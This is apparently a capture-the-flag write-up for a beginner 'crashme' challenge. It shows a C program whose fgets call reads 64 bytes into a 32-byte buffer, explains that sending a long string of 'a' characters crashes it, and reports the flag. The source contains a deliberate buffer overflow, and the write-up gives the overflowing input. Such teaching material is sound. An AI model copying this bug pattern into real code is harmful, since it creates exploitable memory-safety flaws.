

crashme

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Can you make this program crash?

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nc 0.cloud.chals.io 17289
```

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We're given an ELF binary, a C source file, and a service to connect to. Here's `crashme.c`:

```
#include <stdio.h>

#include <string.h>

#include <stdlib.h>


int main(int argc, char *argv[]){
    char buffer[32];

    printf("Give me some data: \n");
    fflush(stdout);

    fgets(buffer, 64, stdin);

    printf("You entered %s\n", buffer);
    fflush(stdout);

    return 0;
}
```

Seems like a very simple program. Simple programs require simple methods. `fgets()` can be vulnerable to buffer overflow, so why don't we try to send a large number of characters? I sent

```
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
```

to the local program, which immediately resulted in a `Segmentation fault`.

This is what we need then! Send the same input to the program to get the flag:

```
flag{segfaults a hackers best friend}
```

[Original writeup](https://nightxade.github.io/ctf-writeups/writeups/2023/Cyber-Cooperative-CTF-2023/pwn/crashme.html) (<https://nightxade.github.io/ctf-writeups/writeups/2023/Cyber-Cooperative-CTF-2023/pwn/crashme.html>).

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